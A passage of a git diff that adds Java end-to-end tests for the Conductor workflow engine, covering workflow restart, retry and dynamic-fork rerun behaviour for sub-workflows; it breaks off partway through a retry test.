workflowClient.getWorkflow(parentId, true).getTasks().stream() + .filter(t -> "dyn_fork_ref".equals(t.getReferenceTaskName())) + .findFirst() + .orElseThrow(() -> new AssertionError("dyn_fork_ref task missing")); + RerunWorkflowRequest rerun = new RerunWorkflowRequest(); + rerun.setReRunFromWorkflowId(parentId); + rerun.setReRunFromTaskId(dynForkTask.getTaskId()); + workflowClient.rerunWorkflow(parentId, rerun); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.RUNNING, + 30, + "parent must be RUNNING after dynamic-fork rerun"); + + // All 3 branches must re-spawn with FRESH subWorkflowIds + // (handleForkJoinDynamicTaskRerun + // removes the old branch tasks and re-schedules from the same dynamicTasks input). + String[] newF = new String[1]; + String[] newCa = new String[1]; + String[] newCo = new String[1]; + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + newF[0] = + parent.getTasks().stream() + .filter( + t -> + failingRef.equals( + t + .getReferenceTaskName()) + && !t.getStatus() + .isTerminal() + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "active " + + failingRef + + " missing")) + .getSubWorkflowId(); + newCa[0] = + parent.getTasks().stream() + .filter( + t -> + cancelledRef.equals( + t + .getReferenceTaskName()) + && !t.getStatus() + .isTerminal() + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "active " + + cancelledRef + + " missing")) + .getSubWorkflowId(); + newCo[0] = + parent.getTasks().stream() + .filter( + t -> + completedRef.equals( + t + .getReferenceTaskName()) + && !t.getStatus() + .isTerminal() + && t.getSubWorkflowId() + != null) + .findFirst() + .orElseThrow( + () -> + new AssertionError( + "active " + + completedRef + + " missing")) + .getSubWorkflowId(); + + assertNotEquals( + originalFailingChildId, + newF[0], + "failing branch must have a FRESH subWorkflowId after dyn-fork rerun"); + assertNotEquals( + originalCancelledChildId, + newCa[0], + "cancelled branch must have a FRESH subWorkflowId after dyn-fork rerun"); + assertNotEquals( + originalCompletedChildId, + newCo[0], + "completed branch must also have a FRESH subWorkflowId after dyn-fork rerun"); + }); + + // Drive each fresh branch to completion — await before findActiveTask because + // SubWorkflow.start() creates children asynchronously; tasks may not be scheduled yet. + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + completeTask( + findActiveTask( + newF[0], + "simple_ref", + "fresh failing simple_ref"), + TaskResult.Status.COMPLETED)); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + completeTask( + findActiveTask( + newCa[0], + "simple_ref", + "fresh cancelled simple_ref"), + TaskResult.Status.COMPLETED)); + await().atMost(15, TimeUnit.SECONDS) + .untilAsserted( + () -> + completeTask( + findActiveTask( + newCo[0], + "simple_ref", + "fresh completed simple_ref"), + TaskResult.Status.COMPLETED)); + + awaitWorkflowStatus( + parentId, + Workflow.WorkflowStatus.COMPLETED, + 30, + "parent must COMPLETE end-to-end after dyn-fork rerun"); + } finally { + terminateAll(parentName, childName); + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRestartTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRestartTests.java new file mode 100644 index 0000000..8dd39e1 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRestartTests.java @@ -0,0 +1,658 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.util.Arrays; +import java.util.List; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.*; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; + +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowDef; +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowWithSubWorkflowDef; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class WorkflowRestartTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + @DisplayName("Check workflow with simple task and restart functionality") + public void testRestartSimpleWorkflow() { + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + registerWorkflowDef(workflowName, "simple", "inline", metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(4, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow1.getTasks().size() < 2); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + String taskId = workflow.getTasks().get(1).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for workflow to get failed + await().atMost(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Restart the workflow + workflowClient.restart(workflowId, false); + // Check the workflow status and few other parameters + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertTrue(workflow1.getTasks().get(0).isExecuted()); + assertFalse(workflow1.getTasks().get(1).isExecuted()); + }); + + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId( + workflowClient.getWorkflow(workflowId, true).getTasks().get(1).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Wait for workflow to get completed + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + + metadataClient.unregisterWorkflowDef(workflowName, 1); + metadataClient.unregisterTaskDef("simple"); + metadataClient.unregisterTaskDef("inline"); + } + + @Test + @DisplayName( + "Check workflow with simple task and restart functionality by changing workflow definition") + public void testRestartSimpleWorkflowChangeDefinition() { + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + + // Register workflow + registerWorkflowDef(workflowName, "simple", "inline", metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + // Fail the simple task + await().atMost(3, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow1.getTasks().size() < 2); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String taskId = workflow.getTasks().get(1).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Wait for workflow to get failed + await().atMost(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + + // Change the workflow definition. + WorkflowDef workflowDef = metadataClient.getWorkflowDef(workflowName, 1); + addTasksInWorkflowDef(workflowDef); + + // Restart the workflow + workflowClient.restart(workflowId, true); + // Check the workflow status and few other parameters + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + assertEquals( + workflow1.getTasks().get(1).getStatus().name(), + Task.Status.SCHEDULED.name()); + assertTrue(workflow1.getTasks().get(0).isExecuted()); + assertFalse(workflow1.getTasks().get(1).isExecuted()); + }); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId( + workflowClient.getWorkflow(workflowId, true).getTasks().get(1).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Workflow will still be running since new simple task has been added. + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.RUNNING.name()); + }); + + // Complete the newly added simple task. + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId( + workflowClient.getWorkflow(workflowId, true).getTasks().get(2).getTaskId()); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + + metadataClient.unregisterWorkflowDef(workflowName, 1); + metadataClient.unregisterTaskDef("simple"); + metadataClient.unregisterTaskDef("inline"); + } + + private void addTasksInWorkflowDef(WorkflowDef workflowDef) { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setTaskReferenceName("added"); + workflowTask.setName("added"); + workflowTask.setType(TaskType.SIMPLE.name()); + + TaskDef task = new TaskDef(); + task.setName("added"); + task.setOwnerEmail("test@conductor.io"); + metadataClient.registerTaskDefs(Arrays.asList(task)); + workflowDef.getTasks().add(workflowTask); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + } + + private String awaitSubWorkflowId(String workflowId) { + final String[] subWorkflowId = new String[1]; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow.getTasks().isEmpty()); + subWorkflowId[0] = workflow.getTasks().get(0).getSubWorkflowId(); + assertNotNull(subWorkflowId[0]); + assertFalse(subWorkflowId[0].isBlank()); + }); + return subWorkflowId[0]; + } + + private String awaitFirstTaskId(String workflowId) { + final String[] taskId = new String[1]; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow.getTasks().isEmpty()); + taskId[0] = workflow.getTasks().get(0).getTaskId(); + assertNotNull(taskId[0]); + assertFalse(taskId[0].isBlank()); + }); + return taskId[0]; + } + + @Test + @DisplayName("Check workflow with sub_workflow task and restart functionality") + public void testRestartWithSubWorkflow() { + + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + String workflowName = "restart-parent-with-sub-workflow"; + String subWorkflowName = "restart-sub-workflow"; + String taskName = "simple-no-restart"; + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + // Fail the simple task + String subworkflowId = awaitSubWorkflowId(workflowId); + String taskId = awaitFirstTaskId(subworkflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for parent workflow to get failed + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Restart the sub workflow. + workflowClient.restart(subworkflowId, false); + // Check the workflow status and few other parameters + String finalSubworkflowId = subworkflowId; + await().atMost(3, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = + workflowClient.getWorkflow(finalSubworkflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING.name(), + workflow1.getStatus().name()); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.SCHEDULED.name()); + }); + taskId = awaitFirstTaskId(subworkflowId); + + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow1.getStatus().name(), + "workflow " + workflow1.getWorkflowId() + " did not complete"); + }); + + // Check restart functionality at parent workflow level. + workflowClient.restart(workflowId, false); + // Fail the simple task + subworkflowId = awaitSubWorkflowId(workflowId); + taskId = awaitFirstTaskId(subworkflowId); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + await().atMost(3, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow1.getStatus().name(), + "workflow " + workflow1.getWorkflowId() + " did not complete"); + }); + } + + @Test + @DisplayName("Check workflow with sub_workflow task and restart parent workflow functionality") + public void testRestartWithSubWorkflowWithRestartParent() { + + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + String workflowName = "restart-parent-with-orphan-sub-workflow"; + String subWorkflowName = "restart-sub-workflow"; + String taskName = "simple-no-restart2"; + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + // Wait for sub-workflow to be started and get its ID + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertNotEquals(0, workflow1.getTasks().size()); + assertNotNull(workflow1.getTasks().get(0).getSubWorkflowId()); + assertFalse(workflow1.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + String subworkflowId = workflow.getTasks().get(0).getSubWorkflowId(); + String taskId = awaitFirstTaskId(subworkflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + // Wait for parent workflow to complete + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.COMPLETED.name()); + }); + + // Restart the sub workflow. + workflowClient.restart(workflowId, false); + // Check the workflow status and few other parameters + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING.name(), + workflow1.getStatus().name()); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + // Complete the new sub workflow - wait for new sub-workflow ID + final String wfIdForRestart2 = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfIdForRestart2, true); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + assertFalse(wf.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + String newSubWorkflowId = + workflowClient.getWorkflow(workflowId, true).getTasks().get(0).getSubWorkflowId(); + taskId = awaitFirstTaskId(newSubWorkflowId); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(newSubWorkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow1.getStatus().name(), + "workflow " + workflow1.getWorkflowId() + " did not complete"); + }); + + // Now restart the original sub_workflow. + workflowClient.restart(subworkflowId, false); + // Parent should not get affected since the parent does not contain any information about + // this sub workflow. + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals(workflow1.getStatus().name(), Workflow.WorkflowStatus.COMPLETED.name()); + + // Terminate the sub workflow. + workflowClient.terminateWorkflow(subworkflowId, "Terminated"); + } + + @Test + @DisplayName( + "Check workflow with orphan sub_workflow task and retry sub-workflow functionality") + public void testRetryWithOrphanSubWorkflowWithRestartParent() { + + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + String workflowName = "retry-parent-with-orphan-sub-workflow"; + String subWorkflowName = "retry-sub-workflow2"; + String taskName = "simple-no-retry3"; + + // Register workflow + registerWorkflowWithSubWorkflowDef(workflowName, subWorkflowName, taskName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + System.out.print("Workflow id is " + workflowId); + // Wait for sub-workflow to be started and get its ID + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertNotEquals(0, workflow1.getTasks().size()); + assertNotNull(workflow1.getTasks().get(0).getSubWorkflowId()); + assertFalse(workflow1.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + // Fail the simple task + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + String subworkflowId = workflow.getTasks().get(0).getSubWorkflowId(); + String taskId = awaitFirstTaskId(subworkflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(subworkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED_WITH_TERMINAL_ERROR); + taskClient.updateTask(taskResult); + + // Wait for parent workflow to get failed + await().atMost(5, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + workflow1.getStatus().name(), + Workflow.WorkflowStatus.FAILED.name()); + }); + + // Restart the sub workflow. + workflowClient.restart(workflowId, false); + // Check the workflow status and few other parameters + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.RUNNING.name(), + workflow1.getStatus().name()); + assertEquals( + workflow1.getTasks().get(0).getStatus().name(), + Task.Status.IN_PROGRESS.name()); + }); + + // Complete the new sub workflow - wait for new sub-workflow ID + final String wfIdForRetry = workflowId; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(wfIdForRetry, true); + assertNotNull(wf.getTasks().get(0).getSubWorkflowId()); + assertFalse(wf.getTasks().get(0).getSubWorkflowId().isBlank()); + }); + String newSubWorkflowId = + workflowClient.getWorkflow(workflowId, true).getTasks().get(0).getSubWorkflowId(); + taskId = awaitFirstTaskId(newSubWorkflowId); + taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(newSubWorkflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(taskResult); + + await().atMost(33, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + workflow1.getStatus().name(), + "workflow " + workflow1.getWorkflowId() + " did not complete"); + }); + + // Now retry the original sub_workflow. + workflowClient.retryWorkflow(List.of(subworkflowId)); + // Parent should not get affected since the parent does not contain any information about + // this sub workflow. + Workflow workflow1 = workflowClient.getWorkflow(workflowId, false); + assertEquals(workflow1.getStatus().name(), Workflow.WorkflowStatus.COMPLETED.name()); + + // Terminate the sub workflow. + workflowClient.terminateWorkflow(subworkflowId, "Terminated"); + } + + @Test + @DisplayName("Restarting optional subworkflow does not update parent workflow status") + public void testRestartOptionalSubWorkflowDoesNotAffectParent() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + + String parentWorkflowName = "parent-wf-2level-restart"; + String childWorkflowName = "sub-wf-2level-restart"; + String taskName = "simple-task-2level-restart"; + + // Register child workflow + registerWorkflowDef(childWorkflowName, taskName, taskName, metadataClient); + // Register parent workflow with subworkflow + registerWorkflowWithSubWorkflowDef( + parentWorkflowName, childWorkflowName, taskName, metadataClient); + // Set the sub_workflow task in parent as optional + WorkflowDef parentDef = metadataClient.getWorkflowDef(parentWorkflowName, 1); + parentDef.getTasks().get(0).setOptional(true); + metadataClient.updateWorkflowDefs(List.of(parentDef)); + + // Start parent workflow + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(parentWorkflowName); + startWorkflowRequest.setVersion(1); + + String parentWorkflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for the child sub-workflow to be scheduled and get its ID + String childWorkflowId = + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .until( + () -> { + Workflow parentWorkflow = + workflowClient.getWorkflow(parentWorkflowId, true); + if (!parentWorkflow.getTasks().isEmpty()) { + String subId = + parentWorkflow.getTasks().get(0).getSubWorkflowId(); + if (subId != null && !subId.isEmpty()) { + return subId; + } + } + return null; + }, + id -> id != null); + + // Fail the simple task in child workflow + String childTaskId = awaitFirstTaskId(childWorkflowId); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(childWorkflowId); + taskResult.setTaskId(childTaskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskClient.updateTask(taskResult); + + // Wait for parent to complete (since child is optional) + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentWorkflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), + parent.getStatus().name()); + }); + + // Restart the child workflow + workflowClient.restart(childWorkflowId, false); + + // Assert parent is still COMPLETED after subworkflow restart + Workflow parentAfterRestart = workflowClient.getWorkflow(parentWorkflowId, false); + assertEquals( + Workflow.WorkflowStatus.COMPLETED.name(), parentAfterRestart.getStatus().name()); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRetryTests.java b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRetryTests.java new file mode 100644 index 0000000..8ece1cc --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/workflow/WorkflowRetryTests.java @@ -0,0 +1,3055 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.workflow; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.EnumSource; + +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; + +import io.conductor.e2e.util.ApiUtil; +import lombok.extern.slf4j.Slf4j; + +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowDef; +import static io.conductor.e2e.util.RegistrationUtil.registerWorkflowWithSubWorkflowDef; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class WorkflowRetryTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + /** + * Uniform ceiling for every "await async workflow/task state" poll in this suite. All such + * awaits are positive "eventually reaches X" conditions, so a generous ceiling is free on + * passing runs (awaitility returns the instant the condition holds) and only adds headroom when + * the WorkflowSweeper-paced child→parent completion cascade is slow under CI load. The ported + * tests originally used a grab-bag of 3s–33s literals; the tight ones flaked under load (e.g. + * child→parent FAILED/COMPLETED propagation goes through the async DECIDER_QUEUE, not a + * synchronous path). Route every state-poll timeout through this one knob. + */ + private static final int WF_AWAIT_SECS = 60; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + @DisplayName("Check workflow with simple task and retry functionality") + public void testRetrySimpleWorkflow() { + String workflowName = "retry-simple-workflow"; + String taskDefName = "retry-simple-task1"; + + terminateExistingRunningWorkflows(workflowName); + + // Register workflow + registerWorkflowDef(workflowName, taskDefName, taskDefName, metadataClient); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertFalse(workflow1.getTasks().size() < 2); + }); + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + // Fail the simple task + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = workflowClient.getWorkflow(workflowId, true); + assertNotEquals(0, workflow1.getTasks().size()); + }); + workflow = workflowClient.getWorkflow(workflowId, true); + String taskId = workflow.getTasks().get(1).getTaskId(); + TaskResult taskResult = new TaskResult(); + taskResult.setWorkflowInstanceId(workflowId); + taskResult.setTaskId(taskId); + taskResult.setStatus(TaskResult.Status.FAILED); + taskResult.setReasonForIncompletion("failed"); + taskClient.updateTask(taskResult); + + // Wait for workflow to get failed + await().atMost(WF_AWAIT_SECS, TimeUnit.SECONDS) + .pollInterval(1, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow1 = 